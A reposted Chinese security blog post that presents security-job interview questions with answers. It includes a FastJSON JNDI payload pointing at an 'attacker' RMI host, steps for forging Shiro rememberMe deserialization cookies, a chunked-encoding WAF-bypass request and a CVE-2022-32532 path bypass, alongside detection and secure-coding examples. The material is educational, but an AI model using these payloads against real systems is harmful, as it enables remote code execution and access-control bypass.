懂这些漏洞轻松收割3个offer

admin 2025年3月26日08:43:57评论4 views字数 3135阅读10分27秒阅读模式
大晚上,球友找我,让我帮他赛选下offer。。。

这真的是旱的旱死涝的涝死啊。。。懂这些漏洞轻松收割3个offer

1、深信服技术服务工程师,base 西安,月薪 14k 据说还有些异地补助

2、奇安信安全服务工程师,base 重庆,月薪 12k

3、绿盟科技的渗透工程师,base 武汉,月薪 10k

我觉得这不是重点啊,关键是他咋这么牛x,他给我讲了这三家主要都还是问了如何绕waf,还有shiro、fastjson框架漏洞,以及一些安全开发的问题。

1. 如何构造JNDI注入攻击链利用FastJSON漏洞?给出完整利用步骤

答案:
攻击步骤:
1. 准备恶意RMI服务:启动JNDI服务指向http://attacker/Exploit.class
2. 构造payload:
   {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker/obj"}
3. 触发目标反序列化时,会发起JNDI请求加载远程类

防御措施:
1. 升级至1.2.83+版本
2. 设置jvm参数:-Dfastjson.parser.autoTypeAccept=可信类白名单

2. 在已获取Shiro密钥的情况下,如何构造有效的反序列化Payload?

答案:
步骤:
1. 生成恶意对象:使用ysoserial生成CommonsBeanutils1的Payload
2. AES加密:使用Shiro的CBC模式+PKCS5Padding加密
   key=Base64.decode(defaultKey)
3. 构造Cookie:
   rememberMe=Base64(IV + encryptedPayload)
4. 发送请求携带该Cookie触发漏洞

检测方法:
使用dnslog检测反连:构造URLDNS gadget验证漏洞

3. 如何通过流量特征识别FastJSON反序列化攻击?

答案:
特征指标:
1. 请求体中出现"@type"字段
2. JSON中包含非常见类名如JdbcRowSetImpl
3. 异常DNS查询(JNDI注入阶段)
4. 出网流量到非常用端口(LDAP/RMI)

防御检测:
1. 监控异常JSON结构
2. 部署JNDI请求的出口过滤

4. 如何利用分块编码绕过WAF的RequestBody检测?给出具体HTTP请求示例

示例请求:
POST /api HTTP/1.1
Transfer-Encoding: chunked

3
id=
2
1
0

原理:
WAF可能无法正确重组分块数据,实际请求体为id=1

5. 针对最新Shiro漏洞CVE-2022-32532,分析其与之前版本漏洞的异同

漏洞分析:
- 影响版本:1.9.0以下
- 新特性:RegexRequestMatcher中使用不当正则导致权限绕过
- 绕过方式:构造/admin/%0a绕过^/admin/.*$的正则匹配

修复方案:
1. 升级至1.9.0+ 
2. 使用严格路径匹配模式

题目6
在开发RESTful API时,如何设计防御措施同时防止以下攻击场景:

  • SQL注入(包括二阶注入)
  • 敏感信息泄露(如异常堆栈)
  • JWT令牌篡改

请从代码架构设计、输入验证、输出处理三个层面说明具体实现方案,并给出关键代码示例。

答案

1. **架构设计**:  
   - **分层防御**:  
     - 使用ORM框架(如Hibernate)强制参数化查询  
     ```java  
     // 正确示例  
     Query query = session.createQuery("FROM User WHERE name = :username");  
     query.setParameter("username", userInput);  
     ```  
     - 全局异常处理:自定义@ControllerAdvice捕获异常,替换敏感堆栈信息  
     ```java  
     @ExceptionHandler(SQLException.class)  
     public ResponseEntity<String> handleSQLException(SQLException ex) {  
         return ResponseEntity.status(500).body("Internal Server Error");  
     }  
     ```  

2. **输入验证**:  
   - **白名单校验**:对参数类型、长度、格式进行正则匹配  
```java  
   if (!Pattern.matches("^[a-zA-Z0-9_]{3,20}$", username)) {  
       throw new ValidationException("Invalid username");  
   }  
  • 上下文编码:对输出到HTML/SQL/JSON的数据分别进行编码
String safeOutput = HtmlUtils.htmlEscape(userContent);  
  1. JWT防御

    String fingerprint = DigestUtils.sha256Hex(request.getRemoteAddr() + userAgent);  
    if (!jwt.getClaim("fp").asString().equals(fingerprint)) {  
    thrownew AuthException("Invalid token");  
    }  
    
    • 签名验证:使用强算法(如RS256)并定期轮换密钥
    • 令牌绑定:将JWT与客户端指纹(如IP+User-Agent哈希)绑定

题目7
设计一个安全的文件传输服务,要求同时满足:

  • 客户端与服务端双向身份认证
  • 传输过程数据加密
  • 防重放攻击

请说明协议选型、密钥管理方案及具体实现步骤,需包含代码片段。

答案

1. **协议选型**:  
   - 使用**TLS 1.3**协议(禁用旧版本和弱加密套件)  
   - 双向认证:服务端与客户端均提供证书  

2. **密钥管理**:  
   - **服务端证书**:由私有CA签发,密钥存储于HSM中  
   - **客户端证书**:采用双向mTLS,证书预置在客户端应用  
```bash  
   # OpenSSL生成客户端证书  
   openssl req -x509 -newkey rsa:4096 -keyout client.key -out client.crt -days 365  
  1. 防重放攻击

    publicbooleanisReplayAttack(String nonce, long timestamp){  
    if (System.currentTimeMillis() - timestamp > 5000) returntrue;  
    return cache.contains(nonce);  
    }  
    
    • 时间戳+Nonce:请求头包含时间戳和随机数,服务端缓存校验
  2. 代码实现(Node.js示例):

    const tls = require('tls');  
    const server = tls.createServer({  
    cert: fs.readFileSync('server.crt'),  
    key: fs.readFileSync('server.key'),  
    ca: [fs.readFileSync('ca.crt')],  
    requestCert: true, // 要求客户端证书  
    rejectUnauthorized: true
    });  
    server.on('secureConnection', (socket) => {  
    console.log('Client cert:', socket.getPeerCertificate());  
    });  
    

原文始发于微信公众号(吉祥讲安全):懂这些漏洞轻松收割3个offer

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月26日08:43:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   懂这些漏洞轻松收割3个offerhttps://cn-sec.com/archives/3885508.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息